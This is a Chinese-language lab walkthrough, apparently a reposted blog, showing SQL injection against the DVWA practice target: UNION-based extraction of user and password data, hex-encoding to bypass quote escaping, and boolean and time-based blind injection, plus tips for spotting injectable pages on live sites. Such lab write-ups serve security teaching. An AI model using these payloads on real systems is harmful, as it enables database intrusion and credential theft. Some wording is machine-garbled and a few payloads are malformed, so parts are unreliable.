SQL注入攻击实例-DVWA靶场
DVWA平凡注入
低级别
1.判断是否存在毛病
'
https://i-blog.csdnimg.cn/blog_migrate/b9d506c3abb78f200016966f476b16da.png
2.判断是数字型照旧字符型
1 and 1=1
https://i-blog.csdnimg.cn/blog_migrate/54cdded4cb9d5758f9c3143c575d3a32.png
1 and 1=2
https://i-blog.csdnimg.cn/blog_migrate/8b32cf0893d4890afa207a99a4516853.png
两种方式均能返回值,说明是字符型而不是数字型
3.猜当前页面字段总数
1'
order by 2 ##:起到将反面字符全部解释的作用 https://i-blog.csdnimg.cn/blog_migrate/79d7cd04cb49986d497e87d6410476a7.png
返回正常界面
1'
order by 3 # https://i-blog.csdnimg.cn/blog_migrate/ba0f3bfaa6bcbe42f0df4e9ab42be641.png
报错
=>字段数为2
4.猜解页面中表现的字段编号
1'
and 1=2 union select 1,2# 5.猜解当前网站数据库名称
1'
and 1=2 union select 1,database()# https://i-blog.csdnimg.cn/blog_migrate/984c14a55aeacd0489f135a7b47b9954.png
6.猜解当前数据库中所有的表
1'
and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# https://i-blog.csdnimg.cn/blog_migrate/4b8e4e1a2a1f3e3069c841b72ccd6503.png
7.猜解指定表中所有字段名称
1'
and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='
users'
# https://i-blog.csdnimg.cn/blog_migrate/a387c49ae5462c5f8c6e2a6d071dda2a.png
8.猜解user和password表的具体内容
1'
and 1=2 union select user,password from users# https://i-blog.csdnimg.cn/blog_migrate/7020fc6927ba1d4570b02f529b9fc552.png
9.对猜解出的MD5内容进行处理
中级别
URL无表现及无get传参且没有输入框,无法通过输入框进行注入
https://i-blog.csdnimg.cn/blog_migrate/d2145359cb4762b301a8843747e0b764.png
采用burp suite抓包即可
https://i-blog.csdnimg.cn/blog_migrate/a30222ea338c1ab5b0ee8a760e3de69e.png
1.判断是否存在注入
'
https://i-blog.csdnimg.cn/blog_migrate/3ef6087d25065ac21e2627aedcc71d2a.png
2.确定注入点范例
1 and 1=1
https://i-blog.csdnimg.cn/blog_migrate/8fdfb8546de813c87a9feb5547b0fb74.png
1 and 1=2
https://i-blog.csdnimg.cn/blog_migrate/e251ed3986f717ebf5bda5ceb6ddfff0.png
当前存在注入点范例为数字型
3.猜解当前页面字段总数
1 order by 2
https://i-blog.csdnimg.cn/blog_migrate/2cebbbf3d5a05bc6eca99d7faf5f8525.png
1 order by 3
https://i-blog.csdnimg.cn/blog_migrate/9df5037e0304d31d853f7a795e3480d8.png
判断出当前页面字段总数为2
4.猜解页面中表现的字段编号
1 and 1=2
union select 1,2 https://i-blog.csdnimg.cn/blog_migrate/0cfb6d7ae42476462417d1cea21094aa.png
5.猜解当前网站数据库名称
1 and 1=2
union select 1,database() https://i-blog.csdnimg.cn/blog_migrate/c3fadd81e036b0c0f810c0eb2f8a4191.png
6.猜解当前数据库所有表的名称
1 and 1=2
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() https://i-blog.csdnimg.cn/blog_migrate/63eec79cede06829b9e4c7e907cc4fb6.png
7.猜解指定表中的字段名称
1 and 1=2
union select 1,group_concat(column_name) from information_schema.columns where table_name= '
users'
https://i-blog.csdnimg.cn/blog_migrate/eb3c9b1139453373fa1aebd79e8cba52.png
会报错:安全配置对单引号进行了转义
解决方法:通过16进制编码绕过
网站:http://kw360.net/ox2str/
https://i-blog.csdnimg.cn/blog_migrate/c321d57da380468eb6e312a929a3e27a.png
1 and 1=2
union select 1,group_concat(column_name) from information_schema.columns where table_name= 0x7573657273 在数字前加上0x,电脑会主动识别其为16进制并将其转换成users
https://i-blog.csdnimg.cn/blog_migrate/9c8170784b33ff0ad3272a00707da3c5.png
8.猜解user和password表中具体内容
1 and 1=2
union select user,password from users https://i-blog.csdnimg.cn/blog_migrate/7051b64e09608acf7dad148d2563289a.png
高级别
安全配置防止工具主动化注入,手工注入没有影响
盲注
低级别(布尔型盲注)
1.寻找可能存在 SQL注入点的页面
GET方式
通过把参数附加在URL中进行提交
寻找如下形式的网页链接
http://www.xxx.com/**asp?id=xx
http://www.xxx.com/**.php?id=xx
http://wwwxxx.com/**aspx?id=xx
http://www.xxx.com/**.jsp?id=xx
测试
在URL后参加单引号查看是否存在注入毛病
报错则说明存在注入毛病
POST方式
通过把参数封装在数据包内容中进行提交
寻找存在表单元素的页面
文本框
单选按钮
复选框
文件浏览框
提交按钮
测试
在文本框输入的内容后参加单引号查看是否存在注入毛病
报错则说明存在注入毛病
2.确认注入点范例
数字型
在URL后加入 and1=1 能正常返回数据
在URL后加入and1=2查询不到数据
字符型
在URL后参加'
and 1=1#能正常返回数据在URL后参加'
and 1=2#查询不到数据 1 and 1=1
https://i-blog.csdnimg.cn/blog_migrate/d1d0239741b232d44d6176f0363b4059.png
1 and 1=2
https://i-blog.csdnimg.cn/blog_migrate/15ccc5050c05e8597262bd579fd216f1.png
判断其为字符型而不是数字型
如果不敢肯定也可以通过字符型判断语句来确定1'
and 1=1# 1'
and 1=2# 3.猜解当前数据库名字的长度
在URL后加上1’and length (database())>4#
在URL后加上1’and length (database())=4#
在URL后加上1’and length (database())<4#
渐渐增大猜测的数字,当返回结果是 exists 时说明猜测正确
https://i-blog.csdnimg.cn/blog_migrate/ac7e1ce4af74bd283760108f6081e4bd.png
通过上述可知,数据名称长度为4
4.猜解数据库名字的第一个字符
在URL后加上1'
and ascii(substr(database(),1,1))>96#在URL后加上1'
and ascii(substr(database(),1,1))<123# 如果返回结果是 exists,说明第一个字符是小写字母
渐渐增加96这个数字或者渐渐减小123,直至查询不出数据,说明猜对
5.按照上一步的方法,逐个猜解出数据库名的每个字符
6.猜解当前数据库中一共有多少张表
在URL反面加1'
and (select count(table_name) from information_schema.tables where table_schema=database())=3#...(同上) https://i-blog.csdnimg.cn/blog_migrate/77b9150edb893a6dc0c41b4999dc680b.png
在URL反面加1'
and (select count(table_name) from information_schema.tables where table_schema=database())=2# https://i-blog.csdnimg.cn/blog_migrate/9e26bbee292c67260c7b04a58ae8eb17.png
渐渐增大数字,直到返回exists,说明表的总数猜对
7.猜解第一张表的表名长度
在URL后加上1'
and length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=9# 渐渐增大数字,直到返回exists,说明表名的长度猜对
https://i-blog.csdnimg.cn/blog_migrate/23c594ed009bd879d33c6eecaa660459.png
8.猜解第一张表名的第一个字符
在URL后加上1'
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96# https://i-blog.csdnimg.cn/blog_migrate/db31177c183deb927991700074668b07.png
9.按照上一步的方法,逐个猜解出第一张表的完备表名
10.按照7,8,9的步调,猜解第二张表的表名
####11.猜解目标表的总字段数
在URL后上1'
and (select count(column_name) from information_schema.columns where table_name='
users'
)=8# https://i-blog.csdnimg.cn/blog_migrate/810ca5ad277e71f59c7be8e3c4f68f7a.png
12.按照猜解表名的方式,依次猜解目标表的字段名
1'
and ascii(substr((select column_name from information_schema.columns where table_name='
users'
limit 0,1)1,1))>96# 13.按照同样的方式,依次猜解目标表的字段内容
中级别(时间型盲注)
用bp抓包,雷同的流程走一遍,特别字符进行转义处理
1'
and sleep(5)#或1 and sleep(5)1'
and if(length(database()))=4,sleep(5),1)#1'
and if(ascii(substr(database(),1,1))>96,sleep(5),1)#1'
and if(ascii(substr(database(),1,1))<123,sleep(5),1)# 注入原理和布尔盲注一样,唯一的区别是布尔型盲注可以通过差别回显来猜解信息,而时间型盲注只能通过基于时间延迟来进行猜解
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]